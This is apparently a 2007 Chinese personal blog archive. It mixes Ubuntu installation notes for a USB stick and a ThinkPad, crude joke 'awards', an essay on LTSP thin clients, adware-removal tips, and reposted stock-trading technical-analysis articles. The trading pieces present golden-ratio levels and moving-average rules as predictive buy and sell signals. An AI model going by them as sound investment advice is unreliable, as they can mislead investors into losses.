2007年11月24日星期六

ubuntu 7.10 安装到kinmax新超棒的记录(未完)

1. Born ubuntu 7.10 CD
2. 购买kinmax新超棒
3. Boot from CD
4. 给超棒分区
5. copy相关文件并且用syslinux使其bootable
6. 第一个麻烦
启动时候碰到buffer i o error fd0
[解决方案]: 进入BIOS禁用floppy, 修改 /etc/fstab
7. adsl上网
8. 第二个麻烦:播放mp3音乐
按照提示下载插件即可
9. 第三个麻烦:播放视频
默认的totem gscreamer只支持wmv
安装gstreamer的解码器
sudo apt-get install gstreamer0.10-pitfdll gstreamer0.10-ffmpeg gstreamer0.10-plugins-bad gstreamer0.10-plugins-bad-multiverse gstreamer0.10-plugins-ugly gstreamer0.10-plugins-ugly-multiverse
安装w32codecs
sudo apt-get install w32codecs
至此可以播放avi,但是rm和rmvb只有声音没有图像
再次google,解决办法如下:
编辑 ~/.xine/catalog.cache文件:
sudo vi ~/.xine/catalog.cache
找到:
[/usr/lib/xine/plugins/1.1.7/xineplug_decode_real.so]
把 decoder_priority 后面的数字修改为 10
保存退出。

2007年11月14日星期三

2007年度评奖,充分证明,字不在多,而在于精!

>年度经济动物大奖:猪
>猪肉价直追房价。
>颁奖辞:它以它的生命完成了一道经济学课题。
>
>年度形象动物大奖:熊猫
> 烧香的不一定是和尚,还可能是熊猫...
> 颁奖辞:它以它的形象实现了一次网络颠覆。
>
>年度感伤动物大奖:白鳍豚
> 它,灭绝了
> 颁奖辞:人类的杰作。
>
>年度食品大奖:包子
> 纸馅的,包子
> 颁奖辞:人类的又一杰作。
>
>
>年度男实习生大奖:一联通实习生
> 他在联通实习,一天,一老头走近来,劈头盖脸就来句"给我办张移动卡,好吧?"他头也
>不抬的就来句";师傅,有人来砸场子!"
> 颁奖辞:言简意赅的展示了无线通讯的激烈竞争。
>
>年度女实习生大奖:一农场实习生
> 一大群女生到农场实习,农场主教大家挤牛奶,示范作完,教大家动手亲自试试。
>这时一个女生看到别人已经挤了小半筒而自己的只有一点点,非常不解。农场主过来
>看看说:小姐,你不但挤错了地方,而且还选错了牛。
> 颁奖辞:用实践证明只要努力就可以得到你想要的。
>
>年度流体力学贡献大奖:张艺谋
>时间和乳沟一样,挤一挤还是有的。
> 颁奖辞:以强烈的视觉效果增强了东方女性的自信。
>
>年度PARTY设计大奖
> 现在大学同学工作后第一次聚会常选择在动物园,大家共同的理由是:只有在这里
>,才能感慨到自己还是个人啊...
> 颁奖辞:重温达尔文
>
>年度语文大奖:
> 我的左手夺走了我的初夜……
> 颁奖辞:现代人的性苦闷!
>
>年度服饰大奖:丁字裤
> 以前,脱下内裤看屁股;现在,拔开屁股看内裤……
> 颁奖辞:它有力的证明了全球变暖的趋势
>
>年度女性经典语大奖:
> 下辈子我一定要投胎做一个男人,然后娶一个我这样的女人.
> 颁奖辞:用一种跨时空概念解决婚姻问题。
>
>
>年度男性经典语大奖:
> 对流血一周仍然不死的动物千万不能大意……
> 颁奖辞:用一种科学的分析证明一种危险的存在。
>
>年度服务业用语大奖:
>我不能给你幸福,但可以给你舒服!
> 颁奖辞:舒服一时,幸福一生。
>
>年度礼仪事件大奖:
> 女友同寝一女生买完饭往楼上走,偶见到顺口问了一句:“队排的长吗?”
> GIRL答道:“不长,但是,很粗……”
> 颁奖辞:形象的描述了中国人爱加塞的习惯。
>
>
>年度经典改编大奖:
> 花前月下,不如花钱“日”下。
> 颁奖辞:改变经典,活用名词。
>
>年度行为艺术大奖:
> 医生问病人是怎么骨折的,病人说,我觉得鞋里有沙子,就扶着电线杆抖鞋,TMD有
>个混蛋经过那里以为我触电了,便抄起木棍给了我两棍子!
> 颁奖辞:为艺术献身。
>
>年度动物群体大奖:东方田鼠
> 20亿只东方田鼠大闹洞庭湖
> 颁奖辞:东方不败,风云再起。

2007年11月6日星期二

Thinkpad上安装Ubuntu笔记

机器配置

Lenovo/IBM Thinkpad T43 266871U:
Intel Pentium M(Dothan) 760 2.0GHz / Intel 915PM 芯片组 / 512M DDR2 533MHz 内存(我加到了1G) / ATI Mobility Radeon x300 / 14.1" TFT 高分屏1400x1050 / 80G SATA 硬盘 / 24x24x24x/8x 康宝 / Intel 802.11a/b/g无线网卡 / 蓝牙 / 千兆网卡 / 指纹识别

Linux与Laptop

从笔记本的角度上说,IBM对Linux的支持一直都不错,而从Linux发行版的角度上讲,虽然我没用过太多的版本,但Ubuntu安装成功后,不用任何配置机器的Fn+F2、Fn+F3等快捷键以及挂起到内存、挂起到硬盘和CPU的Speed by Step频率自动调节都能正常工作,相信能像Ubuntu这样对本本的如此支持的的发行版估计不多(也许是我见识太少,但当ubuntu安完后你发现笔记本95%以上的功能已经不费任何力气的正常工作了,你会非常感谢Ubuntu社区里的人们为这些便捷付出的努力。)

分区

由于Thinkpad出厂时已经占用了一个隐藏分区来做HPA,而一个硬盘上最多能有四个主分区,其中扩展分区还占去了一个份额,因此分区方案的选择受到一点限制。我的分区方式如下:

代码:
Device Filesystem Size Used Avail Use% Mounted on
/dev/sda1 ntfs 9.8G 2.5G 7.3G 26% /windows
/dev/sda3 ext3 9.7G 2.8G 6.4G 31% /
/dev/sda5 fat32 30G 13G 17G 44% /media/data
/dev/sda6 ext3 21G 4.9G 15G 26% /home


其中sda1是Windows的系统,NTFS格式,sda5是存放一些与Linux共享数据的FAT32盘,而隐藏分区占用的是sda2,没有挂载。/和/home都用的是比较通用的EXT3文件系统,(开始尝试过XFS,但Grub不支持)

Source.list

第一次启动系统后的第一件事就是修改apt的source.list,我的宽带接入是网通的线路,如下两种方案对于网通的用户应该都算比较快的。

* 上海交大的镜像
代码:
deb ftp://ftp.sjtu.edu.cn/sites/archive.ubuntu.com/ breezy main restricted universe multiverse
deb ftp://ftp.sjtu.edu.cn/sites/archive.ubuntu.com/ breezy-security main restricted universe multiverse
deb ftp://ftp.sjtu.edu.cn/sites/archive.ubuntu.com/ breezy-updates main restricted universe multiverse
deb ftp://ftp.sjtu.edu.cn/sites/archive.ubuntu.com/ breezy-backports main restricted universe multiverse


* 台湾的源,网通用着竟然也很快
代码:
deb http://opensource.nchc.org.tw/ubuntu/ breezy main multiverse restricted universe
deb http://opensource.nchc.org.tw/ubuntu/ breezy-updates main multiverse restricted universe
deb http://opensource.nchc.org.tw/ubuntu/ breezy-backports main multiverse restricted universe
deb http://opensource.nchc.org.tw/ubuntu/ breezy-security main multiverse restricted universe


显卡驱动

虽然Ubuntu装好后ATI的显卡已经可以正常工作了,但由于用的是xorg-driver-ati作为驱动,没有3D加速,让人十分不爽。源里的 linux-restricted-modules里有fglrx模块以及xorg-driver-fglrx的驱动,但因为版本过老有Bug,如果用了的话机器会在挂起到内存(待机)唤醒时死住,因此我压根就没安它,而是用的官方的8.20.8版驱动。

在安装ATI官方最新驱动前,先要确定你已经删除了和已安装内核对应的linux-restricted-modules以及xorg-driver-fglrx,并重新配置X使其使用ati或者vesa作为显卡驱动。
代码:
sudo apt-get remove xorg-driver-fglrx
sudo apt-get remove fglrx-control
sudo apt-get remove linux-restricted-modules-$(uname -r)
sudo dpkg-reconfigure xserver-xorg


然后 从ATI官方网站上下载了最新的驱动安装脚本,为了以便于以后的管理,不直接运行脚本而是用它生成一些deb包再安装。
代码:
sudo apt-get install gcc-3.4 module-assistant build-essential fakeroot dh-make debconf libstdc++5 gcc-3.3-base
sudo sh ./ati-driver-installer-8.20.8-i386.run --buildpkg Ubuntu/breezy
sudo dpkg -i xorg-driver-fglrx_8.20.8-1_i386.deb
sudo dpkg -i fglrx-control_8.20.8-1_i386.deb
sudo dpkg -i fglrx-kernel-source_8.20.8-1_i386.deb

然后编译驱动模块并安装
代码:
sudo module-assistant prepare
sudo module-assistant update
sudo module-assistant a-i fglrx


更新xorg.conf
代码:
sudo aticonfig --initial


注意,aticonfig没有在xorg.conf中所建立的monitor部分加入Option "DPMS"从而导致Fn+F3关闭屏幕时LCD的背光不关闭,因此要修正之。

修改合上本本时的动作

Ubuntu 在你合上本本的屏幕时的默认动作竟然是关闭屏幕而不是待机,这个让人觉得挺蹊跷的。修改 /etc/acpi/events/lidbtn,把其中的action=/etc/acpi/lid.sh改成 action/etc/acpi/sleep.sh sleep

安装TPB,为本本增加OSD

sudo apt-get install tpb
sudo addgroup dngpng nvram
sudo vi /etc/modules 在末尾加上一行,写上nvram
sudo vi /etc/tpbrc,按喜好修改,为了让OSD比较清晰以及保持和Win下的一致性,我的设置如下:
代码:
OSDFONT -bitstream-bitstream vera sans-medium-r-*-*-*-240-*-*-*-*-iso10646-1
OSDCOLOR Green
OSDVERTICAL 50
OSDHORIZONTAL 30
OSDALIGN CENTER


这样在Gnome启动后,加减音量、调整亮度这样的操作就会在屏幕上有相应的反应了。

加速本本的启动

Ubuntu的启动过程默认执行了许多脚本,如在线时间同步、LVM、RAID等而我的本本根不用不到这些,而启动脚本中对于即插即用网络的检测会因为你没有插入网线或者周围没有可用的无线接入点而耽误较长时间。从UbuntuForums里找到解决办法:

首先,安装network-manager,在Gnome的启动会话(System>Preferences> Session>Startup Programs)中加入nm-applet并设置其启动顺序为10左右,移除面板上默认的叫Network Monitor的Applet,注销再登入,新的applet就会启用了。插入网线,它会自动启动网络并为机器得到一个DHCP的IP。如果有无线网络,它也会侦测到,左键单击它的图标,会在下拉菜单列出可用无线网络,选择一个,会让你输入一个Keyring,千万选择一个简单的keyring,因为以后每次开机都要输入一次──这个也暂时没有解决办法,够烦人的。

其次,从启动脚本中去除不必要的部分脚本
代码:
sudo update-rc.d -f hotplug-net remove
sudo update-rc.d -f ntpdate remove
sudo update-rc.d -f mdmadm-raid remove
sudo update-rc.d -f lvm remove
sudo update-rc.d -f evms remove


最后,修改/etc/network/interfaces,注释掉从#The primary network interface开始往下的所有行,并确保文件中以auto开头的行只有auto lo

现在机器启动就会快一些了,如果还想再快恐怕只能用InitNG了,这个我还没试。另外,以上禁用的脚本可以通过以下方法恢复:
代码:
sudo update-rc.d hotplug-net start 41 2 S . stop 89 0 6 .
sudo update-rc.d ntpdate start 51 S 2 .
sudo update-rc.d mdadm-raid start 04 S .
sudo update-rc.d mdadm-raid start 50 0 6 .
sudo update-rc.d lvm start 26 S .
sudo update-rc.d lvm start 50 0 6 .
sudo update-rc.d evms start 27 S .
sudo update-rc.d evms start 49 0 6 .


在面板上显示网速、CPU温度和CPU频率

sudo apt-get install netmon-applet sensors-applet
sudo chmod +s /usr/bin/cupfreq-selector,这样不只可以显示CPU频率,还可以选择以使CPU在特定频率上工作。然后在Gnome面板上添加相应的applet

应用特殊键

Thinkpad的键盘上一些专有的键,如Access IBM,前进和后退。可以通过编辑.Xmodmap将它们映射为F19、F20等从而可以Gnome中的将这些键绑定为特定的操作。我的.Xmodmap如下
代码:
keycode 234 = F19
keycode 233 = F20

并把后退和前进分别设置为切换到下一个和上一个Workspace

参考网站

1. ThinkWiki
2. Ubuntuforums: HOW-TO: ATI fglrx driver latest version
3. Ubuntuforums: Tenative how-to for speeding laptop bootup
4. [[linux:t43]]
5. Ubuntu On IBM ThinkPad T43 (2668-HH5)
6. Ubuntu Linux 5.10 Breezy Badger on an IBM ThinkPad T42

原文链接:http://forum.ubuntu.org.cn/about7356.html
Linux联盟收集整理

2007年9月27日星期四

瘦客户机及其应用

近年来,瘦客户机(机群)得到广泛应用。在学校、政府机关和中小企业,都有瘦客户机(机群)应用的实例。所谓“瘦客户机(Thin Clients)”是指,它的所有软件和数据都存储在网络服务器上的计算机。数据和应用软件的集中存储和分配,具有许多优点,能够节约大量的系统购置和管理成本。瘦客户机系统允许人们在不同地点、不同设备、不同时间利用相同数据和应用软件进行协同工作。

由于瘦客户机(机群)的数据和应用软件都集中存储在一台网络服务器上,因而,瘦客户机系统管理起来特别方便,而且抵抗病毒、谍件和流氓软件的能力大大提高,处理应用软件的补丁和升级更加有效,系统维修费用大大降低。简单说来,在瘦客户机上工作,不必担心日常的PC机维护工作,拿来就用,用完走人,下次再用,不用担心(担心数据丢失和应用软件的配置被别人改动)。这就是说,瘦客户机可以被任何人、在任何地方(限于本单位)、随时使用,不会感到不便。瘦客户机本身非常“强壮”,不易损坏。说明白了,瘦客户机就有三件东西:显示器(连带一个很小的数据处理装置)、键盘和鼠标,甚至在瘦客户机里面连散热风扇都没有,耗电极低。根据国外有关统计,企业、学校和机关部门合理采用瘦客户机系统“解决方案”,可以降低IT购置成本高达30%~70%,同时,系统管理维护(人力、物力)费用更为降低,系统的可靠性(抵抗病毒、谍件)大为提高。那么,为什么瘦客户机应用在我国没有得到普及?原因在哪里?根本原因在于驱动瘦客户机(机群)的网络服务器软件没有“过关”,以至严重阻碍了我国瘦客户机产业的发展。

回顾历史,驱动瘦客户机的服务器软件开发计划早已有之,在Windows和Linux平台上都有。由于在软件使用授权方面的复杂性,在Windows平台上的瘦客户机方案没有得到应有的关注和普及。1999年,基于Linux平台上的瘦客户机解决方案(称为“LTSP”,Linux Terminal Server Project)逐步兴起。LTSP的奠基人Jim McQuillan在这方面做了大量的工作。近年来,特别是在2005年年初,Ubuntu计划的领导人Mark Shuttleworth深刻认识到瘦客户机的重要性。Ubuntu的首席技术执行官Matt Zimmerman,经过艰苦努力,把LTSP技术创新性地引入到Ubuntu Linux平台上,从而为瘦客户机在Linux平台上的广泛应用奠定了坚实的基础,其具体表现在所谓“教育Ubuntu”(即“Edubuntu”)计划之中。

近期,在北京地区某个“LTSP实验室”里面,在我的主持下,实现并完成了对LTSP系统的测试、运行以及对其性能的初步评价。目前,正准备进一步完善实验环境,深入挖掘LTSP的全部潜能,探索它在各方面(行业)的应用前景。

利用LTSP技术,构建“电脑教室”、“计算机培训中心”是完全可行的。目前,许多学校的“电脑教室”一般都是名副其实的“电脑”教室,一屋子都是电脑,只是一个让学生“上机”实习的地方,根本谈不上用于正规的教学活动。在电脑教室进行教学活动,一般要事先进行周密准备,使全部电脑处于“准备状态”(Teaching - ready ),在目前情况下,这是非常难于实际做到的。但是,采用LTSP技术,在采用瘦客户机机群组建电脑教室里,一个教员在极短的时间内(几分钟)就能够完全控制整个电脑教室中的所有瘦客户机的运行状态,开始进行正常的教学活动。学生们面对的是非常坚实的瘦客户机,他们运行的软件都运行在一台网络服务器上,而且相互毫不影响。电脑教室采用瘦客户机,提高了对于病毒、谍件和流氓软件的抵抗力,保证了学习内容的健康有益性。由此可见,基于LTSP技术的电脑教室的市场前景必定十分广阔。

2007年3月12日星期一

清除kzdh

www.kzdh.com比较垃圾的一个网站,应该属于流氓软件一类,很难清除,而且这类软件现在都有个特征,就是隐藏的更深,折腾了我两天才把几个这类软件给清除掉,后来把这些软件给分析了一下,其实用的技术还是比较简单的,就是驱动和dll加载同时并用,只要把这相关的文件都给删掉了,也就自然清除了,可惜包括norton在内的几款著名软件目前还都不能处理这几个问题。给金山公司的伙伴们发了封邮件,希望能尽快加上。

首先是faogqj30.dll的问题,存在于 %systemroot%/system32目录,如果直接删除这个文件,那每次启动都会有个提示框弹出说找不到这个文件。这个倒好处理,只要用光盘启动系统,用dos进入,注意安全模式下也是不行的,必须要裸启系统,在 %systemroot%/system32/drivers目录下删除 faogqj30.sys文件即可

对于kzdh.com的问题,是xkzyy.dll文件造成的,而这个文件又有两个驱动支撑,adprod.sys和lmmdr.sys,要彻底清除,必须删掉这两个文件,而且这两个驱动的日期都是标注的2002年的,很容易认为是系统的默认驱动,其实是稍微做了一下隐藏,同样用dos进入,删除这三个文件即可。

另外注意的是还有一种类型的.dat文件,比如前段时间很难清除的adlbus.sys,删掉驱动也不成,因为还有一个.dat文件支撑,所以要同时删掉这几个文件,这就要求注意观察和分析,我用过几个专门处理的软件,好像直接在系统下(包括重启)删除都没有成功,因此我也在打算在我的软件中加入这些功能。怎么着也得抽点时间出来。

2007年3月8日星期四

SBS 2003

基于微软产品架构的IT解决方案
http://www.microsoft.com/taiwan/technet/itsolutions/default.mspx?mfr=true
WinXP+SP2在SBS2003下的问题
http://support.microsoft.com/kb/872769/zh-tw
http://www.microsoft.com/taiwan/windowsserver2003/sbs/techinfo/productdoc/troubleshooting.mspx#EAD

2007年3月6日星期二

[技术分析]黄金分割线

黄金分割是一个古老的数学方法。对它的各种神奇的作用和魔力,数学上至今还没有明确的解释,只是发现它屡屡在实际中发挥我们意想不到的作用。
在股票的技术分析中,还有一个重要的分析流派--波浪理论中要用到黄金分割的内容。在这里,我们仅仅说明如何得到黄金分割线,并根据它的指导进行下一步的买卖股票的操作。
画黄金分割线的第-步是记住若干个特殊的数字:
0.191 0.382 0.618 0.809
1.191 1.382 1.618 1.809
2.618 4.236
这些数字中0.382,0.618,1.382,1.618最为重要,股价极为容易在由这四个数产生的黄金分割线处产生支撑和压力。
第二步是找到一个点。这个点是上升行情结束,调头向下的最高点,或者是下降行情结束,调头向上的最低点。当然,我们知道这里的高点和低点都是指一定的范围,是局部的。只要我们能够确认一个趋势(无论是上升还是下降)已经结束或暂时结束,则这个趋势的转折点就可以作为进行黄金分割的点,这个点一经选定,我们就可以画出黄金分割线了。
在上升行情开始调头向下时,我们极为关心,这次卜落将在什么位置获得支撑。黄金分割提供的是如下几个价位,它们是由这次上涨的顶点价值分别乘上上面所列特殊数字中的几个。假设,这次上涨的顶点是10元,则
8.09=10×0.809
6.18=10×0.618
3.82= 10×0.382
1.91=10×0.191
这几个价值极有可能成为支撑,其中6.18和3.82的可能性最大。
同理,在下降行情开始调头向上时,我们关心上涨到什么位置将遇到压力。黄金分割线提供的位置是这次下跌的底点价位乘上上面的特殊数字。假设,这次下落的谷底价位为10元,则
11.91=10×1.191 20=10×2
13.82=10×1.382 26.18=10×2.618
16.18=10×1.618 42.36=10×4.236
18.09=10×1.809
将可能成为未来的压力位。其中13.82,16.18以及20成为压力线的可能性最大,超过20的那几条很少用到。

[交易技巧]对称三角形的判断和操作

对称三解形形态是期市中常见的一种三角形形态,由于它在一段时间内不能产生明确的发展方向,期价反复无常,常处于一种上又上不去,下也下不来的状态,因此使投资者产生极大的困惑,即使是精于技术分析的投资者,也要等市场完成了固定的周期,产生突破方向后才可判断随后的走势。

对称三角形通常是一种整理形态,这种形态经常发生在波浪理论中的第四浪可B浪,三角形价格变动的区域是由大而小,由宽而窄,即期价由低位上升一段时间后无力突破性的大幅上涨,随后期价开始出现回落,但期价回落一定的时间后,便遇到多方的买盘介入,使期价无法创出新低,并在前一次低点之上调头上行,但上行时间并不能持久,在前一次高点之下又遇到空方的打压,使期价调头向下,经常数次沉浮,将出现低低点逐步抬高,而高点逐步下移的状况,我们将低点和低点连成上升趋势线,将高点和高点连成下跌趋势线,便可以得到一个明显的三角形,如上升的斜率和下跌的斜率是相等的,便得出一个对称三角形。

对称三角形是投资者暂时摸不清楚期价未来的走向,但多空双方看法出现严重分歧,多方有看多的理由,空方有看空的现由,因此期价下跌,多方人士逢低买入,而期价上涨, 空方人士借机高场,虽然一底比一底高,但没有出现多方预期的效果,使多方信心产生动摇,买方力量逐步减弱,相对应的期价一顶比一顶低,但并没有向空方预期的那样,产生大幅下跌。因此使空方对自己原来的判断产生怀疑,致使做空不坚决,因此空方力量同样逐步减弱,这样就出现了多空双方都无法迅速战胜对方,但价位区域却在逐步缩小,期价去向含糊不表,究竟未来是升是跌,暂时没有明确的信号,这便是对称三角形的主要特色。当期价运行到对称三解形的尾端或接近顶点时,多空双方处于一种暂时的平衡状态,双方都无力打破僵局。这时,如有一种力量加入到多方或者空方,天平将马上会产生倾斜,经常是一种外力,如明显的利多,利空消息引发三角形向上或向下突破,突破方向产生后,宣告对称三角形态结束。

在对称三角形形态中,成交量有非常明显的规律性,值得特别注意,由于对称三角形的特性,期价运行前景不明,方向不定,多空双方疑惑重重,而不敢全力出击,许多投资者退出观望,因此成交量往往随着期价的波动,而逐步减少,经民交量从左向右下方逐步递减,当对称三角形发展至形态的尾端时,其价格波动幅度常显得非常平静,成交量极度萎缩,一旦成交量大幅增加,就能改变对称三角形的走势,形成突破。

对称三角形是一种未明朗的形态,发展到一定阶段,将可以产生向上突破或向下突破。

向上突破:通常发生在期价产生了一段升幅,由于涨幅已大,短线获利盘开始获利了结,形成了对期价的打压,但看多者逢低继续买入,便形成了相互拉锯的三角形整理状态,期价运行一段时期后,将在一个较窄的区域内暂时达到平衡,多空双方势均力敌,这时如 果出现一种力量(常是一种外力),加入到多方之中,均衡即被打破,产生向上突破,并指示了向上攻击的方向,一波升势又将展开,反之向下突破,通常是在期价产生了较大的跌幅,因跌幅较大,投资者惜售,短线买家进期价形成三解形整理形态,多空力量暂时平衡,但这只是下跌途中的中转站,一旦新的利空因素产生,稍有卖压,平衡即被打破,产生向下突破,另一轮跌势又将开始。

判断对称三角形是否有效突破,要注意三点:

(1)价位产生明显的改变,有明确的突破方向。
(2)向上突破时,必须有较大成交量的支持,成交量增加幅度越大,突破的可信性就越高,向下突破时,可以有较大成交量增量,也可以没有成交量增量,没有成交量增量突破可以成立,如有大成交量的配合,向下突破就更为有力。
(3)突破后3日内,期价没有重新走回对称三角形之内,这样可以确认期价已走出对称三角形,形成了向上或是向下的突破。

对称三角形形态内的第一个高点和低点延伸至三角形顶端的这条直线叫颈线力距, 一个对称三角形其突破信号通常产生于颈线力距的1/2或3/4处,在这种距离产生的突破,一般较有力度,理论上如果期价超过3/4长度位置后,仍未产生有效突破,期价会缓慢运行至对称三角形顶端,多空力量相互抵消,期价继续横向运动,但在实践中,也经常出现期价直至运行到三角形顶端时,才产生向上或向下的突破。

对称三角形产生突破后,经常会有一种反抽现象,向上突破产生反抽是一个较好的逢低买入点,而向下突破,投资者应坚决离场,不要死等反抽点的出现,因为一旦下跌趋势产生,经常这种反抽根本不出现。

对称三角形突破后,向上和向下的空间是可以度量的。理论上,对称三角形突破后,其向上的最小涨幅和向下最小跌幅是对称三角的宽,也就是对称三角形形态内,第一个顶点与第一个低点之间的垂直距离。

在对称三角形形态内的投资策略:大部分投资者应遵循等待,观望,休息的策略,直至产生突破方向时,才进入市畅

[技术分析]K线的形态

光头阳线
这是先跌后涨型。 多方在开始失利的情况下,尽力充分地发挥力量,整个形势是多方占优。多方优势的大小与下影线和实体的长度有关。下影线和实体的长度越长,越有利于多方,也就是多方优势越大。
光脚阴线
  这是先涨后跌型。与光头阳线相反,这是空方反败为胜的K线。空方的优势大小,与上影线和实体的长度有关。上影线和实体越长越有利于空方,空方优势越大。
有上下影线的阳线
这是最为普遍的一种K线形状。这种形状说明多空双方争斗很激烈。双方一度都占据优势,把价格抬到最高价和压到最低价,但是,都被对方顽强地拉回,只是到了结尾时,多方才把优势勉强保住。对多方与空方优势的衡量,主要依靠上下影线和实体的 长度来确定。一般说来,上影线越长,下影线越短,实体越短, 越有利于空方占优,而不利于多方占优;上影线越短,下影线越长,实体越长,越有利于多方占优,而不利于空方占优。上影线和下影线相比的结果,也影响多方和空方取得优势。上影线长于下影线,利于空方;反之,下影线长于上影线,利于多方。
有上下影线的阴线
这也是最为常见的一种K线形状。它的涵义与上一个差不多,只是这种局面稍稍倾向于空方,因为,在临近收尾时空方稍微取得了优势。
十字型
这是不容易出现的K线形状。由于不易分阴阳,在画图时与昨日收盘相比,若上涨,则为阳线(红线);反之,就画成阴线(黑线)。十字型分为两种,一种上下影线很长, 另一种上下影线较短。上下影线较长的称为大十字型。表示多空争斗激烈,最后回到原处,后市往往有变化。多空双方优势由上下影线的长度决定。上下影线较短的称为小十字型。表明窄幅盘整交易清淡, 买卖不活跃。
T字型和倒T字型
在十字型的基础上,如果再加上光头和光脚的条件,就会出现这两种K线。它们没有实体,而且没有上影线或者没有下影线,形状像英文字母T。
光脚阳线和光脚阴线
是没有下影线的K线。当开盘价或收盘价正好与最低价相等时,就会出现这种K线。
光头阳线和光头阴线
是没有上影线的K线。当收盘价或开盘价正好与最高价相等时,就会出现这种K线。
光头光脚的阳线和阴线
这种K线既没有上影线又没有下影线。当收盘价和开盘价分别与最高价和最低价中的一个相等时,就会出现这种K线。
一字型
是一种非常特别的形状,它的四个价格都一样。这种情况几乎见不到,只是理论上存在。在发行一个事先定好价格的股票或者是当天这只股票涨停板或跌停板时,会遇到这种情况,同十字型和T字型K线一样,它没有实体。
十字型
当收盘价与开盘价相同时,就会出现这种K线,它的特点是没有实体。

[技术分析]常用指标误判陷阱

说起技术分析,投资者最熟悉的莫过于KDJ、MACD、RSI等常见的技术指标了。许多初级股市技术教课书甚至把这些指标列入首要内容来重点讲解,甚至连证券从业资格考试也离不开这些内容。而事实上,这些指标对于普通投资者来说,虽然也能起到一些有益的参考作用,但它们的作用显然被过分夸大了,经过大量实战对照研究,我们甚至可以说,这些系统指标发出的50%以上的信号都是错误的,这对我们的实战参考价值还不如掷硬币来得高。
当然,这些技术指标使用方便,判断直观,简单地观察“金叉”或者“死叉”似乎就能得到今后涨跌的信息,正因为此,才深受广大散户的喜爱,不过这里想请迷信此类指标的读者朋友思考几点:
其一,这些指标发出的买入卖出信号几乎所有市场参与者都能看到,那么照此操作是否人人都能够满载而归呢?常识告诉我们这是绝对不可能的。
其二,这些指标本身来源于一段时间内的股价数据计算,但是许多个股价格走势变化很难保证不受人为左右,也就等于这些指标也能轻易地被操纵,反而可能成为一种欺骗手段。
其三,有人认为可以利用不同技术指标相结合来判断(比如同时看KDJ、RSI以及其他指标),可以避免出现偏差,其实这更是明显的思维误区。因为对操作的判断结论一定只有两种,或对或错,成功失败各占50%,就像扔硬币一样,当你对扔一次硬币出现的结果不放心,那么连扔3下甚至同时扔10个硬币又能让成功率提高多少呢?
在市场中,惟有K线走势和成交量是最忠实和值得信赖的,哪怕是主力做的一点点手脚都会在K线图中暴露无遗。量、价、时、空这四大要素也都写在K线上,这也是为什么很多流传百年的经典投资理论如埃略特的波浪理论、江恩系列都是源于最原始的K线图而后发展得来的。从这个角度,我们希望投资者能抛弃从前对这些技术指标的过分依赖,学会用真正的市场语言--K线来掌握股价变化的秘密。

[技术分析]移动平均线(MA)的应用

一、移动平均线利用统计学上“移动平均”的原理,将每天股价予以移动平均计算,求出一个平均值,予以连接起来,取得平均线。
二、移动平均线的种类:依时间长短可分为:短期移动平均线,中期移动平均线,及长期移动平均线。
(一)短期移动平均线:一般都以五天及十天为计算期间,代表一周的平均价,可做为短线进出的依据。
(二)中期移动平均线:大多以三十日为准,称为月移动平均线,代表一个月的平均价或成本,亦有扣除四个星期日以二十六天来做月移动平均线。另有七十二日移动平均线,俗称季线。大致说来月移动平均线有效性极高,尤其在股市尚未十分明朗前,预先显示股价未来变动方向。
(三)长期移动平均线:在欧美股市技术分析所采用的长期移动平均线,多以二百天为准。因为经过美国投资专家葛南维,研究与试验移动平均线系统後,认为二百日移动平均线最具代表性,在国内则是超级大户,实户与做手操作股票时叁考的重要指标,投资人将未来一年世界与国内经济景气动向,各行业的展望,股票发行公司产销状况与成长率仔细研究後,再与其他投资环境(例如银行利率变动,房地产增值比率,以及投资设厂报酬率)做一比较,若投资股票利润较高,则进行市场操作。由於进出数量庞大,炒作期间长,必须要了解平均成本变动情形,故以此样本大小最能代表长期移动平均线。
(四)移动平均线的特性:股价技术分析者,利用移动平均线来分析股价动向。
主要因为移动平均线具有几项特性:
1.趋势的特性:移动平均线能够表示股价趋势的方向,所以具有趋势的性质。
2.稳重的特性:移动平均线不像日线会起起落落的震荡。而是起落相当平稳。向上的通常缓缓向上,向下的通常会缓缓向下。
3.安定的特性:通常愈长期的移动平均线,愈能表现安定的特性,即移动平均线不轻易往上往下,必须股价涨势真正明朗了,移动平均线才会往上延伸,而且经常股价开始回落之初,移动平均线却是向上的,等到股价下滑显着时,才见移动平均线走下坡,这是移动平均线最大的特色。愈短期的移动平均线,安定性愈差,愈长期移动平均线,安定性愈强,但也因此使得移动平均线有延迟反应的特性。
4.助涨的特性:股价从平均线下方向上突破,平均线也开始向右上方移动,可以看做是多头支撑线,股价回跌至平均线附近,自然会产生支撑力量,短期平均线向上移动速度较快,中长期平均线回上移动速度较慢,但都表示一定期间内平均成本增加,卖方力量若稍强於买方,股价回跌至平均线附近,便是买进时机,这是平均线的助涨功效,直到股价上升缓慢或回跌,平均线开始减速移动,股价再回至平均线附近,平均线失去助涨效能,将有重返平均线下方的趋势,最好不要买进。
5.助跌的特性:反过来说,股价从平均线上方向下突破,平均线也开始向右下方移动,成为空头阻力线,股价回升至平均线附近,自然产生阻力,因此平均线往下走时股价回升至平均线附近便是卖出时机,平均线此时有助跌作用。直到股价下跌缓慢或回升,平均线开始减速移动,股价若再与平均线接近,平均线便失去助跌意义,将有重返平均线上方的趋向,不需急於卖出。
三、移动平均线的研判技巧:葛南碧移动平均线八大法则:
(一)移动平均线的买进时机
1.平均线从下降逐渐走平,而股价从平均线的下方突破平均线时,是买进信号。
2.股价虽跌入平均线下,而均价线仍在上扬,不久又回复到平均线上时,为买进信号。
3.股价趋势线走在平均线之上,股价突然下跌,但未跌破平均线,股价又上升时,可以加码买进。
4.股价趋势线低过平均线,突然暴跌,远离平均线时之时,极可能再趋向平均线,是买进时机。
(二)移动平均线的卖出时机:
5.平均线走势从上升逐渐走平,而股价从平均线的上方往下跌破平均线时,应是卖出的机会。
6.股价虽上升突破平均线,但又立刻回复到平均线之下,而且平均线仍然继续下跌时,是卖出时机。
7.股价趋势线在平均线之下,股价上升但未达平均线又告回落,是卖出时机。
8.股价趋势线在上升中,且走在平均线之上,突然暴涨、远离平均线,很可能再趋向平均线,为卖出时机

[技术分析]K线组合与应用

T字型和倒T字型
用前面关于上下影线对多空双方优势影响的叙述,可以很快知道: 第一,T字型是多方占优。下影线越长,优势越大。 第二,倒T字型是空方占优。上影线越长,优势越大。

连续两阴阳
这是多空双方的一方已经取得决定性胜利,牢牢地掌握了主动权,今后将以取胜的一方为主要运动方向。第二根K线实体越长,超出前一根K线越多,则取胜一方的优势就越大。

连续跳空阴阳线
